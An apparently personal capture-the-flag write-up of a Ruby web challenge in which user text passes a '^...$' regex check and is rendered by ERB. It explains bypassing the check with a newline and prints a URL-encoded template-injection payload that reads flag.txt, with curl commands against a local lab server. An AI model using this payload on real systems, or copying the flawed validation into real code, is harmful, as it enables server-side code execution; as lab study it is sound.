A nice easy challenge to start off the week! I found this to be fun and engaging even though its labeled as “very easy”. A good example of how to take multiple vulnerabilities and leverage them into an RCE.
Enumeration #
Before downloading any files, I like to see what I’m working with.
This is just my personal preference, but I typically attack the web challenges but first interacting with the website; then review the deployment stack (Dockerfile
, config
, etc) for anything useful; finally review the source code.
This was especially helpful when trying to solve
petpet rcbee.
Website #
Nothing too crazy.
Appears to be a single page app (no links or navigation).
Contains a simple form that POSTs to /
with the text to neonify.
Running a quick test with Hello World does as it’s expected.
This is probably going to be some type of template injection.
However, entering drt.sh returns a Malicious Input Detected.
It appears that there is some validation on the backend, and a simple .
breaks it.
Might not be as simple as I originally thought.
Deployment Stack #
I like to check out the Dockerfile
and see what other (if any) software is installed inside the container.
I also find it important to check which flag file to look for.
There’s a chance it could be flag
, flag.txt
, or flag_XXXX
where XXXX
is a randomized set of characters.
Source Code #
Time to dive into some code and see what we’re working with!
shit… its in ruby.
I’m not a fan. Guess I should have figured that one out with the four giant rubies in front of me 🤦
After scouring through the source code, I noticed two things:
- The
neon
parameter that isPOST
ed is passed into the template (possible injection) - There is a regex validation for
neon
that only allows alpha-numeric chars and spaces.
This will require a two pronged approach. An Server Side Template Injection (SSTI) and bypassing validation. This is the code that needs to be bypassed.
post '/' do
if params[:neon] =~ /^[0-9a-z ]+$/i
@neon = ERB.new(params[:neon]).result(binding)
else
@neon = "Malicious Input Detected"
end
erb :'index'
end
Exploiting #
There are a lot of examples online on SSTI and for ruby in general.
But before that can be passed through to read the flag.txt
file, it needs to bypass the regex validation.
After a
bit of research, apparently using ^
and $
within regex’s in Ruby is a bad idea (?).
Looked fine to me, but
what do I know?
Knowing that the regex can be bypassed with newlines, we can start looking for an exploit to read flag.txt
.
<%= File.open('flag.txt').read %> # Read file
Easy enough, but it needs to be URL encoded. With that in mind, the full payload will look like:
neon=a
%3C%25%3D%20File.open%28%27flag.txt%27%29.read%20%25%3E
\n
written out is not enough to be parsed properly.
What’s I really like about this challenge, is that it is one of those exploits that can be run directly in your browser.
No need for any special tools!
Although, I still prefer to use curl
;)
Let’s start with that!
via curl
#
# deliberate newline in console as `\n` fails to parse
curl -d 'neon=a
%3C%25%3D%20File.open%28%27flag.txt%27%29.read%20%25%3E' 127.0.0.1:1337
curl 127.0.0.1:1337 \
-s -X POST -d 'neon=a
%3C%25%3D%20File.open%28%27flag.txt%27%29.read%20%25%3E' | grep -Eo 'HTB{.*}'
HTB{f4k3_fl4g_f0r_t3st1ng}
Yeah, it was that easy! Cheers 🍻
via Firefox (or Chrome (or other Browser)) #
There’s too many screenshots to take so I’ll keep it brief and in a list:
- Open the browser’s dev tools and view the network stack
- Submit a valid entry (I used
a
) - Find the
document
with thePOST
request. - Edit and resend
- Change the request body to the payload above
- Resend
- Open in a new tab (if applicable).